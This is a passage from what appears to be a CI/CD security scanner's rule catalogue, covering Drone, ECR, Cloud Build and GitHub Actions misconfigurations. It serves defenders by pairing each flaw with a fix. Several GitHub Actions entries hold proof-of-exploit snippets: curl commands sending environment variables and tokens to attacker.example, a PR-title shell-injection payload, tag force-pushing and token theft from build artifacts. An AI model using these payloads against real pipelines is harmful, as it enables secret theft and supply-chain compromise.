  • Bootstrap-stage installs that intentionally pull latest (apt-get install -y curl for a tooling image rebuild) sometimes legitimately bypass the lockfile. Suppress via ignore-file scoped to the specific step name when this is the deliberate shape; the broader pinning policy still covers the rest of the pipeline.

Source: DR-010 in the Drone CI provider.

DR-011: node map interpolates attacker-controllable Drone variable HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Drone substitutes ${VAR} template tokens against the build context before the runner picks an agent. The rule walks the pipeline-level node: map (Drone doesn't expose a per-step variant) for any reference to the same author-controllable variables DR-003 tracks (DRONE_BRANCH, DRONE_TAG, DRONE_PULL_REQUEST_*, DRONE_COMMIT_AUTHOR*, DRONE_COMMIT_MESSAGE, DRONE_REPO).

Detection is value-only and case-sensitive against the documented variable names; trusted server-controlled fields like DRONE_BUILD_NUMBER and DRONE_REPO_NAMESPACE (for non-fork repos) aren't on the tainted list. Closes parity with BK-015 / GHA-036 / GL-032 / JF-032 / ADO-030 / CC-031.

Recommendation. Pin every node: map entry to a static literal that matches your runner-targeting policy. Drone uses node: to route a pipeline to runners with matching labels (e.g. node: { instance: ci-prod-amd64 }). When the map value interpolates ${DRONE_BRANCH} / ${DRONE_PULL_REQUEST_*} / ${DRONE_COMMIT_AUTHOR}, the pusher gets to pick which runner pool runs the pipeline, including a privileged pool reserved for the deploy step. Production runner pools should also carry a label the agent itself enforces (the runner's DRONE_RUNNER_LABELS env var, plus a server-side policy on which repos can target which labels) so the rule is one layer of defense-in-depth.

Known false positives.

  • Some teams use a static prefix plus a CI-controlled tail (node: { pool: build-${DRONE_REPO_NAME} }) to share a runner pool across repos. DRONE_REPO_NAME is set by the server, not the pusher, so it isn't on the tainted list, but if your team has its own conventions for trusted Drone vars, suppress on the specific pipeline name.

Source: DR-011 in the Drone CI provider.

ECR-001: Image scanning on push not enabled HIGH

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. scan-on-push runs a CVE check against the image's OS package layers at the moment it lands in ECR. Without it, an image with a known CVE deploys silently. The ECR basic scanner is free; ECR-007 covers the Inspector v2 enhanced scanner that adds language-ecosystem CVEs (npm, pip, gem).

Recommendation. Enable imageScanningConfiguration.scanOnPush on the repository. Consider also enabling Amazon Inspector continuous scanning for ongoing CVE detection against images already in the registry.

Source: ECR-001 in the AWS provider.

ECR-002: Image tags are mutable HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Mutable tags mean :latest, :v1.0, and :stable can be re-pushed silently, the same tag points to different image content over time. Pinning by digest (sha256:...) in deployment manifests is the only durable reference; IMMUTABLE on the repo enforces the property registry-side so a forgotten digest reference doesn't drift.

Recommendation. Set imageTagMutability=IMMUTABLE on the repository. Reference images by digest (sha256:...) in deployment manifests for strongest immutability guarantees.

Source: ECR-002 in the AWS provider.

ECR-005: Repository encrypted with AES256 rather than KMS CMK MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Same shape as CP-002 / CWL-002 / CCM-002: AES256 (the AWS-managed default) gives confidentiality at rest but no key-policy or CloudTrail Decrypt-event story. Container images are arguably sensitive intellectual property, the same key-policy + audit shape as build outputs in S3 is warranted.

Recommendation. Set encryptionType=KMS with a customer-managed key ARN.

Source: ECR-005 in the AWS provider.

ECR-006: ECR pull-through cache rule uses an untrusted upstream HIGH

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. AWS supports pull-through cache for ECR Public, Quay, K8s, GitHub Container Registry, GitLab, and Docker Hub. A rule pointing at registry-1.docker.io without an authenticated credential silently caches whatever the public namespace resolves to.

Recommendation. Scope pull-through cache rules to AWS-trusted registries (ECR Public, Quay.io with authentication, or a vetted private registry). Avoid wildcard or unauthenticated upstreams, a malicious image there gets cached into your account registry on first pull.

Source: ECR-006 in the AWS provider.

ECR-007: Inspector v2 enhanced scanning disabled for ECR MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. ECR-001's basic on-push scan covers OS-level packages, apt / yum / apk lineage. Most production CVE risk is in language ecosystems (npm, pip, gem, mvn) which the basic scanner ignores. Inspector v2 enhanced scanning closes that gap and runs continuously, so a CVE published two weeks after a build still surfaces against the deployed image.

Recommendation. Enable Amazon Inspector v2 for the ECR scan type on this account. Basic ECR scanning on-push only covers OS packages; Inspector v2 enhanced scanning adds language-ecosystem CVEs and runs continuously as new vulnerabilities are published.

Source: ECR-007 in the AWS provider.

GCB-001: Cloud Build step image not pinned by digest HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Bare references (gcr.io/cloud-builders/docker) are treated as :latest by Cloud Build. Tag-only references (:20, :latest) count as unpinned. Only @sha256:… suffixes pass.

Recommendation. Pin every steps[].name image to an @sha256:<digest> suffix. gcr.io/cloud-builders/docker:latest is mutable; Google publishes new builder images frequently and the next build would pull whatever is current. Resolve the digest with gcloud artifacts docker images describe <ref> --format='value(image_summary.digest)' and pin it.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GCB-001 in the Cloud Build provider.

GCB-002: Cloud Build uses the default service account HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. The default Cloud Build service account historically held roles/cloudbuild.builds.builder plus project-level editor in many organisations. Even under the GCP April-2024 default-identity change, the default SA is still broader than what a single pipeline needs. Explicit serviceAccount: is required to pass.

Recommendation. Create a dedicated service account for the build, grant it only the roles the pipeline actually needs (roles/artifactregistry.writer, roles/storage.objectCreator for artifact upload, etc.), and set serviceAccount: projects/<PROJECT>/serviceAccounts/<NAME>@.... Leaving it unset falls back to the default Cloud Build SA, which accumulates roles over a project's lifetime and is routinely granted roles/editor.

Source: GCB-002 in the Cloud Build provider.

GCB-003: Secret Manager value referenced in step args HIGH

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Detection patterns: literal projects/<n>/secrets/<name>/versions/... URIs, gcloud secrets versions access shell invocations, and $(gcloud secrets …) command substitutions in step args or entrypoint.

Recommendation. Map the secret under availableSecrets.secretManager[] with an env: alias, then reference it from each step via secretEnv: [ALIAS]. Avoid inline gcloud secrets versions access in args, the resolved plaintext lands in build logs.

Source: GCB-003 in the Cloud Build provider.

GCB-004: dynamicSubstitutions on with user substitutions in step args HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. The _-prefix is Cloud Build's naming convention for user substitutions; they are editable via build trigger UI, gcloud builds submit --substitutions, and the REST API. Built-in substitutions ($PROJECT_ID, $COMMIT_SHA, $BUILD_ID) are derived from the trigger event and are not treated as user-controlled by this rule.

Recommendation. Either disable options.dynamicSubstitutions (it defaults to false) or move user substitutions ($_FOO) out of step args, pass them through env: and reference them inside a shell script the builder runs. Dynamic substitution re-evaluates bash syntax after variable expansion, giving trigger-config editors a script-injection channel.

Source: GCB-004 in the Cloud Build provider.

GCB-006: Dangerous shell idiom (eval, sh -c variable, backtick exec) HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Complements GCB-004 (dynamicSubstitutions + user substitution in args). GCB-006 fires on intrinsically risky shell idioms, eval, sh -c "$X", backtick exec, regardless of whether the substitution source is currently trusted.

Recommendation. Replace eval "$VAR" / sh -c "$VAR" / backtick exec with direct command invocation. Validate or allow-list any value that must feed a dynamic command at the boundary. In Cloud Build these idioms typically appear in args: [-c, ...] entries under a bash entrypoint.

Known false positives.

  • eval "$(ssh-agent -s)" and similar eval "$(<literal-tool>)" bootstrap idioms are intentionally NOT flagged, the substituted command is literal, only its output is eval'd.

Source: GCB-006 in the Cloud Build provider.

GCB-007: availableSecrets references versions/latest MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. versions/latest is documented as a rolling alias. A build run on Monday and a re-run on Tuesday can consume different secret bodies without any change to cloudbuild.yaml, breaking the reproducibility invariant that pinning protects.

Recommendation. Pin each availableSecrets.secretManager[].versionName to a specific version number (.../versions/7) rather than latest. Rotate by updating the number when a new version is promoted, not by silently publishing a new version that the next build pulls.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GCB-007 in the Cloud Build provider.

GCB-008: No vulnerability scanning step in Cloud Build pipeline MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. The detector matches tool names anywhere in the document, step images, args, or entrypoint strings. Container Analysis API scanning configured at the project level counts as compensating control but is out of scope for this YAML-only check; if you rely on it, suppress this rule via --checks.

Recommendation. Add a step that runs a vulnerability scanner, trivy, grype, snyk test, npm audit, pip-audit, osv-scanner, or govulncheck. In Cloud Build this typically looks like a step with name: aquasec/trivy or an entrypoint: bash step that invokes trivy image / grype <ref> on the built image.

Source: GCB-008 in the Cloud Build provider.

GCB-009: Artifacts not signed (no cosign / sigstore step) MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Silent-pass when the pipeline does not appear to produce artifacts (no docker push / gcloud run deploy / kubectl apply / etc. in any step). The detector matches cosign, sigstore, slsa-framework, and notation.

Recommendation. Add a signing step before images: is resolved, for example, a step with name: gcr.io/projectsigstore/cosign that runs cosign sign --yes <registry>/<repo>@<digest>. Pair with an attestation step (cosign attest --predicate sbom.json --type cyclonedx) so consumers can verify both the signature and the build provenance.

Source: GCB-009 in the Cloud Build provider.

GHA-001: Action not pinned to commit SHA HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Every uses: reference should pin a specific 40-char commit SHA. Tag and branch refs (@v4, @main) can be silently moved to malicious commits by whoever controls the upstream repository, a third-party action compromise will propagate into the pipeline on the next run.

Recommendation. Replace tag/branch references (@v4, @main) with the full 40-char commit SHA. Use Dependabot or StepSecurity to keep the pins fresh.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • tj-actions/changed-files compromise (CVE-2025-30066, March 2025): a malicious commit retagged behind @v1 / @v45 shipped CI-secret exfiltration to roughly 23,000 repos that had pinned the action to a mutable tag instead of a commit SHA.
  • reviewdog/action-setup compromise (CVE-2025-30154, March 2025): same week, similar mechanism. Tag-pinned consumers auto-pulled the malicious version; SHA-pinned consumers were unaffected.

Proof of exploit.

Tag-pinned reference (vulnerable):

  • uses: tj-actions/changed-files@v45

Attack: the upstream maintainer (or anyone who compromises

the upstream repo) force-moves the v45 tag to a malicious

commit:

git tag -f v45

git push --force origin v45

Every consumer's next workflow run pulls the new code

automatically, executing the attacker's payload with the

job's secrets and GITHUB_TOKEN in scope.

Safe: pin to a 40-char commit SHA (immutable):

Source: GHA-001 in the GitHub Actions provider.

GHA-002: pull_request_target checks out PR head CRITICAL 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. pull_request_target runs with a write-scope GITHUB_TOKEN and access to repository secrets, deliberately so, since it's how labeling and comment-bot workflows work. When the same workflow then explicitly checks out the PR head (ref: ${{ github.event.pull_request.head.sha }} or .ref) it executes attacker-controlled code with those privileges.

Recommendation. Use pull_request instead of pull_request_target for any workflow that must run untrusted code. If you need write scope, split the workflow: a pull_request_target job that labels the PR, and a separate pull_request-triggered job that builds it with read-only secrets.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • GitHub Security Lab: Preventing pwn requests (2020), the canonical write-up. Demonstrates how a fork PR that lands in a pull_request_target workflow with the PR head checked out runs in the base repo's privileged context.
  • Trail of Bits Codecov-style supply chain via pwn requests (2021): showed the primitive against widely-used Actions workflows. The fix pattern (split the workflow into a privileged labeler + an unprivileged builder) is now standard guidance.

Proof of exploit.

Vulnerable: pull_request_target + checkout PR head =

attacker code runs with secrets + write-scope token.

name: build-pr on: pull_request_target: branches: [main] jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@ with: ref: ${{ github.event.pull_request.head.sha }} - run: make test # runs PR-head Makefile

Attack: any external contributor opens a fork PR with a

tampered Makefile:

test:

# curl -X POST https://attacker.example/exfil \ # -d "$(env)" \

-d "$(git config --get-all http.https://github.com/.extraheader)"

CI runs the malicious target with the base repo's secrets

(every ${{ secrets.* }} the workflow has access to) and a

write-scope GITHUB_TOKEN. The PR doesn't even need to be

merged or reviewed — the privileged execution happens at

PR-open time.

Safe: split the workflow. The labeler runs with secrets

but never checks out PR head; the builder runs in

pull_request context with no secrets:

name: triage # privileged half on: { pull_request_target: { types: [opened, synchronize] } } jobs: label: runs-on: ubuntu-latest steps: - run: gh pr edit ${{ github.event.number }} --add-label triage env: GH_TOKEN: ${{ github.token }}


name: build # unprivileged half on: { pull_request: {} } jobs: build: runs-on: ubuntu-latest steps: - uses: actions/checkout@ # checks out PR head - run: make test # no secrets in scope

Source: GHA-002 in the GitHub Actions provider.

GHA-003: Script injection via untrusted context HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Interpolating attacker-controlled context fields (PR title/body, issue body, comment body, commit message, discussion body, head branch name, github.ref_name, inputs.*, release metadata, deployment payloads) directly into a run: block is shell injection. GitHub expands ${{ ... }} BEFORE shell quoting, so any backtick, $(), or ; in the source field executes.

Recommendation. Pass untrusted values through an intermediate env: variable and reference that variable from the shell script. GitHub's expression evaluation happens before shell quoting, so inline ${{ github.event.* }} is always unsafe.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Seen in the wild.

  • GitHub Security Lab disclosure (2020): a sweep of public Actions found dozens of widely-used workflows interpolating github.event.issue.title / pull_request.title directly into shell. Any commenter or PR author could run arbitrary commands in the maintainer's CI.
  • Trail of Bits pwn-request research (2021): demonstrated the same primitive against pull_request_target workflows where the runner has secrets and a write-scope token; one fork PR could exfiltrate every secret the workflow could see. Mitigation is the same: never interpolate context into shell, route through env:.

Proof of exploit.

Vulnerable: PR title interpolated straight into shell.

name: triage on: pull_request_target: types: [opened, edited] jobs: greet: runs-on: ubuntu-latest steps: - run: | echo "New PR: ${{ github.event.pull_request.title }}"

Attack: open a PR with the title:

# foo"; curl -X POST https://attacker.example/exfil \

-d "$(env | base64 -w0)"; echo "

GitHub expands ${{ ... }} BEFORE shell quoting, so the

title's " closes the echo string and the rest of the line

becomes shell. The pull_request_target trigger means the

runner already has secrets and a write-scope GITHUB_TOKEN,

so the curl exfils every secret the workflow can see.

Safe: route through env so the value is never interpolated

into the shell template:

  - env:
      PR_TITLE: ${{ github.event.pull_request.title }}
    run: |
      echo "New PR: $PR_TITLE"

Source: GHA-003 in the GitHub Actions provider.

GHA-004: Workflow has no explicit permissions block MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Without an explicit permissions: block (either top-level or per-job), the GITHUB_TOKEN inherits the repository's default scope, typically write. A compromised step receives far more privilege than it needs.

Recommendation. Add a top-level permissions: block (start with contents: read) and grant additional scopes only on the specific jobs that need them.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Read-only / lint-only workflows that do not call any write-scoped API often pass without an explicit block because the default token scope on public repos is read. The rule defaults to MEDIUM confidence to reflect this.

Source: GHA-004 in the GitHub Actions provider.

GHA-005: AWS auth uses long-lived access keys MEDIUM 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Long-lived AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY secrets in GitHub Actions can't be rotated on a fine-grained schedule and remain valid until manually revoked. OIDC with role-to-assume yields short-lived credentials per workflow run.

Recommendation. Use aws-actions/configure-aws-credentials with role-to-assume + permissions: id-token: write to obtain short-lived credentials via OIDC. Remove the static AWS_ACCESS_KEY_ID / AWS_SECRET_ACCESS_KEY secrets.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • LocalStack and Moto integration tests set AWS_ENDPOINT_URL to a localhost address and use the sentinel test / test access keys (the LocalStack convention). Those values can't authenticate against real AWS, so the rule auto-suppresses an env block that pairs a localhost endpoint with sentinel keys.

Source: GHA-005 in the GitHub Actions provider.

GHA-006: Artifacts not signed (no cosign/sigstore step) MEDIUM

Evidences: Signed-Releases Release artifacts are cryptographically signed.

How this is detected. Unsigned artifacts cannot be verified downstream, so a tampered build is indistinguishable from a legitimate one. The check recognizes cosign, sigstore, slsa-github-generator, slsa-framework, and notation-sign as signing tools.

Recommendation. Add a signing step, e.g. sigstore/cosign-installer followed by cosign sign, or slsa-framework/slsa-github-generator for keyless SLSA provenance. Publish the signature alongside the artifact and verify it at consumption time.

Seen in the wild.

  • SolarWinds Orion compromise (December 2020): SUNBURST trojanized builds shipped to ~18,000 customers because no post-build signature could be checked against a trusted signing identity. Cryptographic signing on every release would have given downstream consumers a verifiable break with the upstream key, the absence of which was the ambient signal of compromise.
  • PyTorch nightly compromise (December 2022): the torchtriton dependency was hijacked via PyPI dependency-confusion. Sigstore-style attestation tied to the official publisher would have made the impostor build fail verification rather than silently install.

Source: GHA-006 in the GitHub Actions provider.

GHA-007: SBOM not produced (no CycloneDX/syft/Trivy-SBOM step) MEDIUM

Evidences: SBOM Releases publish a software bill of materials.

How this is detected. Without an SBOM, downstream consumers cannot audit the exact set of dependencies shipped in the artifact, delaying vulnerability response when a transitive dep is disclosed. The check recognises CycloneDX, syft, Anchore SBOM action, spdx-sbom-generator, Microsoft sbom-tool, and Trivy in SBOM mode.

Recommendation. Add an SBOM generation step, anchore/sbom-action, syft . -o cyclonedx-json, Trivy with --format cyclonedx, or Microsoft's sbom-tool. Attach the SBOM to the release so consumers can ingest it into their vuln-management pipeline.

Source: GHA-007 in the GitHub Actions provider.

GHA-008: Credential-shaped literal in workflow body CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Every string in the workflow is scanned against a set of credential patterns (AWS access keys, GitHub tokens, Slack tokens, JWTs, Stripe, Google, Anthropic, etc., see --man secrets for the full catalog). A match means a secret was pasted into YAML, the value is visible in every fork and every build log and must be treated as compromised.

Recommendation. Rotate the exposed credential immediately. Move the value to an encrypted repository or environment secret and reference it via ${{ secrets.NAME }}. For cloud access, prefer OIDC federation over long-lived keys.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Test fixtures and documentation blobs sometimes embed credential-shaped strings (JWT samples, AKIAI... examples). The AWS canonical example AKIAIOSFODNN7EXAMPLE is deliberately NOT suppressed, if it appears in a real workflow it almost always means a copy-paste from docs was never substituted. Defaults to LOW confidence.

Seen in the wild.

  • Uber 2016 GitHub leak: an AWS access key embedded in a private GitHub repo was reachable to attackers who got at the repo and used it to download driver / rider PII for 57 million accounts. Credential-shaped literals in any source control system (public or private) are one credential-leak away from the same outcome.
  • GitGuardian's annual State of Secrets Sprawl reports consistently find millions of fresh credential leaks per year across public commits, with a median time-to-revocation after disclosure of days, not minutes. Pinning secrets to ${{ secrets.* }} removes the artifact from source control entirely.

Proof of exploit.

Vulnerable: AWS access key pasted into the workflow body.

env: AWS_ACCESS_KEY_ID: AKIAIOSFODNN7EXAMPLE AWS_SECRET_ACCESS_KEY: wJalrXUtnnFEMI/K7MDENG/bPxRfiCYEXAMPLEKEY

Attack chain:

1. Attacker clones/forks the repo or pulls from a public

mirror. The literal is in plain text — no credentials

needed to read it.

2. Attacker uses the key against the AWS account it

belongs to. With AmazonEC2FullAccess this is

immediate compute hijack; with broader IAM it is

full data exfiltration.

3. Even after rotation, every git revision and every

CI build log retains the value — pull-request

mirrors, logging back-ends, and forks all have to

be scrubbed.

Safe: reference a stored secret. The value never lives in

source control or build logs (GitHub redacts it from output).

env: AWS_ACCESS_KEY_ID: ${{ secrets.AWS_ACCESS_KEY_ID }} AWS_SECRET_ACCESS_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}

Better: use OIDC federation. No long-lived key exists.

permissions: id-token: write steps: - uses: aws-actions/configure-aws-credentials@ with: role-to-assume: arn:aws:iam::123456789012:role/CIRole aws-region: us-east-1

Source: GHA-008 in the GitHub Actions provider.

GHA-009: workflow_run downloads upstream artifact unverified CRITICAL

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. on: workflow_run runs in the privileged context of the default branch (write GITHUB_TOKEN, secrets accessible) but consumes artifacts produced by the triggering workflow, which is often a fork PR with no trust boundary. Classic PPE: a malicious PR uploads a tampered artifact, the privileged workflow_run downloads and executes it.

Recommendation. Add a verification step BEFORE consuming the artifact: cosign verify-attestation --type slsaprovenance ..., gh attestation verify --owner $OWNER ./artifact, or publish a checksum manifest from the trusted producer and sha256sum -c it. Treat any download from a fork as untrusted input.

Source: GHA-009 in the GitHub Actions provider.

GHA-010: Local action (./path) on untrusted-trigger workflow HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. uses: ./path/to/action resolves the action against the CHECKED-OUT workspace. On pull_request_target / workflow_run, that workspace can be PR-controlled, meaning the attacker supplies the action.yml that runs with default-branch privilege.

Recommendation. Move the action to a separate repo under your control and reference it by SHA-pinned uses: org/repo@<sha>, or split the workflow so the privileged work runs only on pull_request (read-only token, no secrets) where PR-controlled action.yml can't escalate.

Source: GHA-010 in the GitHub Actions provider.

GHA-011: Cache key derives from attacker-controllable input MEDIUM

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. actions/cache restores by key (and falls through restore-keys on miss). When the key includes a value the attacker controls (PR title, head ref, workflow_dispatch input), an attacker can plant a poisoned cache entry that a later default-branch run restores and treats as a clean build cache.

Recommendation. Build the cache key from values the attacker can't control: ${{ runner.os }}, ${{ hashFiles('**/*.lock') }} (only when the lockfile is enforced by branch protection), and the workflow file path. Never include github.event.* PR/issue fields, github.head_ref, or inputs.* in the key namespace.

Source: GHA-011 in the GitHub Actions provider.

GHA-013: issue_comment trigger without author guard HIGH

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. on: issue_comment (and discussion_comment) fires for every comment on every issue or discussion in the repository. On public repos this means any GitHub user can trigger workflow execution. If the workflow runs commands, deploys, or accesses secrets, the attacker controls timing and can inject payloads through the comment body.

Recommendation. Add an if: condition that checks github.event.comment.author_association (e.g. contains('OWNER MEMBER COLLABORATOR', ...)), github.event.sender.login, or github.actor against an allowlist. Without a guard, any GitHub user can trigger the workflow by posting a comment.

Source: GHA-013 in the GitHub Actions provider.

GHA-014: Deploy job missing environment binding MEDIUM 🔧 fix

Evidences: Code-Review Changes merged to the default branch require review.

How this is detected. Without an environment: binding, a deploy job can't be gated by required reviewers, deployment-branch policies, or wait timers. Any push to the triggering branch will deploy immediately.

Recommendation. Add environment: <name> to jobs that deploy. Configure required reviewers, wait timers, and branch-protection rules on the matching GitHub environment.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Integration-test jobs that run terraform apply or kubectl apply against a local mock (LocalStack, Moto, kind, k3d) aren't real deploys. The rule auto-suppresses a step whose env carries AWS_ENDPOINT_URL or KUBE_API_URL pointing at a localhost address.

Source: GHA-014 in the GitHub Actions provider.

GHA-016: Remote script piped to shell interpreter HIGH 🔧 fix

Evidences: Dangerous-Workflow No dangerous patterns in CI workflows (untrusted checkout, script injection).

How this is detected. Detects curl | bash, wget | sh, and similar patterns that pipe remote content directly into a shell interpreter inside a workflow. An attacker who controls the remote endpoint (or poisons DNS / CDN) gains arbitrary code execution in the CI runner.

Recommendation. Download the script to a file, verify its checksum, then execute it. Or vendor the script into the repository.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Known false positives.

  • Established vendor installers (get.docker.com, sh.rustup.rs, bun.sh/install, awscli.amazonaws.com, cli.github.com, ...) ship via HTTPS from their own CDN and are idiomatic. This rule defaults to LOW confidence so CI gates can ignore them with --min-confidence MEDIUM; the finding still surfaces so teams that want cryptographic verification can audit.

Seen in the wild.

  • Codecov Bash uploader compromise (April 2021): an attacker modified the codecov.io/bash uploader script (commonly fetched via curl -s codecov.io/bash | bash) to exfiltrate environment variables from CI runners (AWS keys, GitHub tokens, signing keys) at thousands of customers for over two months before discovery.
  • Bitwarden / npm install scripts (CVE-2018-7536-class incidents): remote-script execution in CI is the same primitive. The attacker controls bytes the runner executes. Pinning a digest or hosting a vendored copy turns a perpetual ambient risk into a one-time review.

Proof of exploit.

Vulnerable: install script piped straight to bash.

steps: - run: curl -sL https://example.com/install.sh | bash

Attack: an attacker who controls the install.sh endpoint

(compromised CDN, expired domain, BGP hijack, account

takeover, or simply being the upstream maintainer with bad

intent) drops a payload that runs in the CI runner with

every secret available to the job:

#!/usr/bin/env bash

# legitimate-looking install actions...

# curl -X POST https://attacker.example/exfil \

-d "$(env)" -d "$(cat $GITHUB_TOKEN_FILE 2>/dev/null)"

The runner has no way to know the bytes changed.

Safe: download, verify a known-good digest, then execute.

steps: - run: | curl -sLo install.sh https://example.com/install.sh echo "abc123...expected_sha256 install.sh" | sha256sum -c bash install.sh

Source: GHA-016 in the GitHub Actions provider.

GHA-018: Package install from insecure source HIGH 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager invocations that use plain HTTP registries (--index-url http://, --registry=http://) or disable TLS verification (--trusted-host, --no-verify) in a workflow. These patterns allow man-in-the-middle injection of malicious packages.

Recommendation. Use HTTPS registry URLs. Remove --trusted-host and --no-verify flags. Pin to a private registry with TLS.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Source: GHA-018 in the GitHub Actions provider.

GHA-019: GITHUB_TOKEN written to persistent storage CRITICAL 🔧 fix

Evidences: Token-Permissions CI tokens are scoped to the minimum required permissions.

How this is detected. Detects patterns where GITHUB_TOKEN is written to files, environment files ($GITHUB_ENV), or piped through tee. Persisted tokens survive the step boundary and can be exfiltrated by later steps, uploaded artifacts, or cache entries, turning a scoped credential into a long-lived one.

Recommendation. Never write GITHUB_TOKEN to files, artifacts, or GITHUB_ENV. Use the token inline via ${{ secrets.GITHUB_TOKEN }} in the step that needs it.

Autofix. pipeline_check --fix will patch this finding automatically. Review the diff before committing; the fixer applies the conservative remediation pattern (e.g. swap a floating tag for the digest it currently resolves to), not the most aggressive one.

Proof of exploit.

Vulnerable: token written to a file that survives the

step boundary and lands in the upload-artifact bundle.

jobs: build: permissions: { contents: write, packages: write } steps: - run: echo "${{ secrets.GITHUB_TOKEN }}" > /tmp/token - run: make build # writes /tmp/token # into ./dist/ - uses: actions/upload-artifact@ with: name: build-output path: dist/

Attack: any contributor (or, on public repos, anyone)

downloads the artifact:

gh run download -n build-output

cat build-output/tmp/token # full GITHUB_TOKEN

The token is scoped to the workflow's permissions block —

in this case write to contents and packages,

enough to push tampered binaries to GHCR or rewrite the

branch the workflow runs on. Composes with SCM-001

(unprotected default branch) into XPC-004's "open a PR,

fetch artifact, ship malicious binary" loop.

Other persistence patterns the rule catches:

echo "TOKEN=$GITHUB_TOKEN" >> $GITHUB_ENV

echo "::set-output name=tok::$GITHUB_TOKEN"

echo "$SECRET" | tee /tmp/cache/secret

Safe: use the token inline in the step that needs it; never

write it anywhere that survives the step's environment:

  - run: gh release create v1.0.0 dist/*
    env:
      GH_TOKEN: ${{ secrets.GITHUB_TOKEN }}

Source: GHA-019 in the GitHub Actions provider.

GHA-020: No vulnerability scanning step MEDIUM

Evidences: SAST Project uses static analysis / vulnerability scanning, Vulnerabilities Project scans for and resolves known vulnerabilities.

How this is detected. Without a vulnerability scanning step, known-vulnerable dependencies ship to production undetected. The check recognises trivy, grype, snyk, npm audit, yarn audit, safety check, pip-audit, osv-scanner, and govulncheck.

Recommendation. Add a vulnerability scanning step, trivy, grype, snyk test, npm audit, pip-audit, or osv-scanner. Publish results so vulnerabilities surface before deployment.

Source: GHA-020 in the GitHub Actions provider.

GHA-021: Package install without lockfile enforcement MEDIUM 🔧 fix

Evidences: Pinned-Dependencies Dependencies (actions, images, includes, packages) are pinned to immutable references from trusted sources.

How this is detected. Detects package-manager install commands that do not enforce a lockfile or hash verification. Without lockfile enforcement the resolver pulls whatever version is currently latest, exactly the window a supply-chain attacker exploits.

Recommendation. Use lockfile-enforcing install commands: npm ci instead of npm install, pip install --require-hashes -r requirements.txt, yarn install --frozen-lockfile, bundle install --frozen, and go install tool@v1.2.3.

